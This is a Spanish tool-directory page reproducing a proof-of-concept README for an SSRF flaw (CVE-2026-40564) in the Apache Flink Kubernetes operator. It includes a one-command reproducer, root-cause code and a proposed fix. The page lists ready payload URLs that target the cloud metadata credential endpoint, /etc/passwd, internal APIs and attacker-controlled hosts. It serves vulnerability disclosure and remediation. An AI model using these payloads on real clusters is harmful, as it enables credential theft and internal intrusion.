Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40564 — CVE-2026-40564: SSRF a través de jarURI de FlinkSessionJob en apache/flink-kubernetes-operator. Reproducidor autocontenido que se ejecuta en un clúster local kind con un solo comando make. | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-40564
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la Nube
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF a través de jarURI de FlinkSessionJob en apache/flink-kubernetes-operator. Reproducidor autocontenido que se ejecuta en un clúster local kind con un solo comando make.

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-40564: SSRF a través de FlinkSessionJob.spec.job.jarURI en flink-kubernetes-operator

El operador Apache Flink Kubernetes no verifica el campo spec.job.jarURI en los recursos FlinkSessionJob (o FlinkDeployment). Cualquier persona que pueda crear uno de esos recursos puede establecer jarURI a cualquier URL. Cuando el operador reconcilia el recurso, obtiene esa URL desde dentro de su propio pod. El esquema puede ser http, https, file, o cualquiera de los plugins de sistema de archivos que Flink incluye, por lo que la solicitud puede ir a casi cualquier lugar al que el pod del operador pueda llegar.

  • CVE: CVE-2026-40564
  • Afectado: flink-kubernetes-operator 1.14.0, y main (1.15-SNAPSHOT al 2026-04-09)
  • Reportado a [email protected] y [email protected] el 2026-04-09
  • Cadena de llamadas: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Ejecutándolo

root@kitploit:~
make verify

Esto ejecuta cinco pasos en orden:

  1. crear un clúster kind local
  2. instalar el operador (1.14.0) con Helm
  3. iniciar un clúster de sesión de Flink y esperar a que su JobManager se inicie
  4. pedir a webhook.site una URL nueva, luego aplicar un FlinkSessionJob cuyo jarURI apunte a ella
  5. consultar webhook.site e imprimir las solicitudes recibidas

Cuando funciona, el final de la ejecución se ve así:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

La primera ejecución toma entre 6 y 8 minutos. La mayor parte es descargar la imagen flink:1.17, que pesa alrededor de 700 MB. Ejecuciones posteriores toman cerca de 3 minutos.

Lo que necesitas

docker, kind, kubectl 1.23 o más reciente, helm 3, make, curl y jq. El clúster debe poder alcanzar Internet para comunicarse con webhook.site.

Apuntándolo a una URL diferente

Por defecto, el Makefile obtiene una URL nueva de webhook.site para ti. Para enviar la solicitud a otro lugar, establece SSRF_URL con el jarURI completo que desees. Se usa tal cual.

root@kitploit:~
# reutilizar una URL específica de webhook.site
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# tu propio colaborador (Burp, interactsh, un listener de netcat, etc.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# el servicio de metadatos de instancias de AWS
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# un esquema no http manejado por la capa de sistema de archivos de Flink
make verify SSRF_URL=file:///etc/passwd

Cómo la verificación confirma el resultado depende del objetivo. Si la URL está en webhook.site, el Makefile lee su API REST e imprime las solicitudes capturadas. Para cualquier otra cosa, lee el log del operador y busca el stack frame HttpArtifactFetcher.fetch, que indica que la descarga se ejecutó. WEBHOOK_URL también funciona y significa lo mismo que SSRF_URL.

Limpieza

root@kitploit:~
make cleanup

Esto elimina el clúster kind. No queda nada.

Por qué ocurre

Tres clases están involucradas, y ninguna de ellas examina el esquema, host o IP en jarURI.

DefaultValidator.validateJobSpec verifica paralelismo, modo de actualización, configuración de savepoint y forma del recurso. Nunca lee job.getJarURI():

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... comprobaciones de paralelismo / modo de actualización / savepoint / recursos ...
    // job.getJarURI() nunca se inspecciona.
    return Optional.empty();
}

ArtifactManager.fetch selecciona un descargador según el esquema. No hay lista blanca, y cualquier cosa que no sea http o https pasa a la capa de sistema de archivos de Flink:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch abre la URL tal como se proporciona. No hay verificación de host, de rango IP, ni nada que impida alcanzar direcciones loopback o link-local:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

Lo que un atacante obtiene

El operador normalmente se ejecuta con RBAC amplio. La carta Helm oficial otorga * en varios tipos de recursos, incluyendo secrets, y el pod puede normalmente alcanzar la red sin restricciones. Si puedes hacer que envíe solicitudes por ti, puedes:

  • leer servicios de metadatos en la nube (AWS, GCE, Azure) y obtener las credenciales IAM vinculadas al nodo del operador
  • alcanzar servicios dentro del clúster que solo escuchan en la red interna, o que confían en la IP de origen del operador
  • escanear puertos internos a ciegas, leyendo el resultado de vuelta desde el mensaje de error en el estado de FlinkSessionJob
  • usar file, s3, hdfs, gs, o cualquier otro esquema de sistema de archivos de Flink para leer archivos locales o comunicarse con almacenamiento al que el operador puede llegar pero tú no

En un clúster compartido donde varios equipos usan el mismo operador, cualquiera de ellos puede usarlo para alcanzar los recursos de otro equipo.

Otras URLs que funcionan

El reproducer por defecto usa webhook.site, pero el error no depende de cuál sea la URL. Configura SSRF_URL, o edita manifests/vulnerable-sessionjob.yaml, con cualquiera de estas:

Solucionándolo

Agrega una comprobación en DefaultValidator.validateJobSpec:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI no es una URI válida: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI debe incluir un esquema");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("El esquema jarURI '" + scheme + "' no está en la lista blanca");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("El host de jarURI no se puede resolver");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("El host de jarURI apunta a una dirección restringida");
        }
    }
    return Optional.empty();
}

Establece KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES con un valor predeterminado de Set.of("https"). Operadores que necesiten s3 u otro esquema pueden agregarlo.

Dos cosas más que vale la pena hacer:

  • Agregar una NetworkPolicy para el pod del operador que bloquee la salida hacia link-local (169.254.0.0/16), loopback y las direcciones conocidas de metadatos en la nube.
  • En AWS, activar IMDSv2. Así, incluso un SSRF funcional no puede leer el servicio de metadatos sin un token de sesión, y el operador no tiene razón para enviar uno.

Notas

El Makefile soluciona dos cosas que rompen kind en Linux. Cada comprobación solo se ejecuta cuando el problema está realmente presente, por lo que es seguro ejecutarlo de nuevo.

  1. Reenvío de CoreDNS a loopback. Con systemd-resolved, el /etc/resolv.conf del nodo kind apunta a 127.0.0.1, por lo que el clúster resuelve nombres externos como localhost. El paso cluster-up reescribe la configuración de CoreDNS para reenviar a 1.1.1.1 y 8.8.8.8.
  2. El pod del operador hereda los dominios de búsqueda DNS del host. Con ndots establecido a 5, un nombre como webhook.site obtiene primero los dominios de búsqueda del host añadidos, y algunos ISP responden 127.0.0.1 para subdominios que no reconocen. El paso install-operator asigna al pod del operador su propio dnsConfig para que esto no ocurra.

Si una ejecución completa falla a medio camino, puedes ejecutar make verify-ssrf por sí solo. Lee el jarURI desde el FlinkSessionJob activo, por lo que no depende de nada guardado localmente.

Descargar herramienta
jarURIAlcanza
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, las credenciales IAM del nodo del pod del operador
http://10.0.0.1:6443/apiUn apiserver dentro del clúster, o cualquier endpoint interno que tenga lista blanca la IP del operador
file:///etc/passwdEl propio sistema de archivos del pod del operador, a través de la rama del descargador de sistema de archivos
s3://attacker-bucket/x.jarS3, usando las credenciales del pod del operador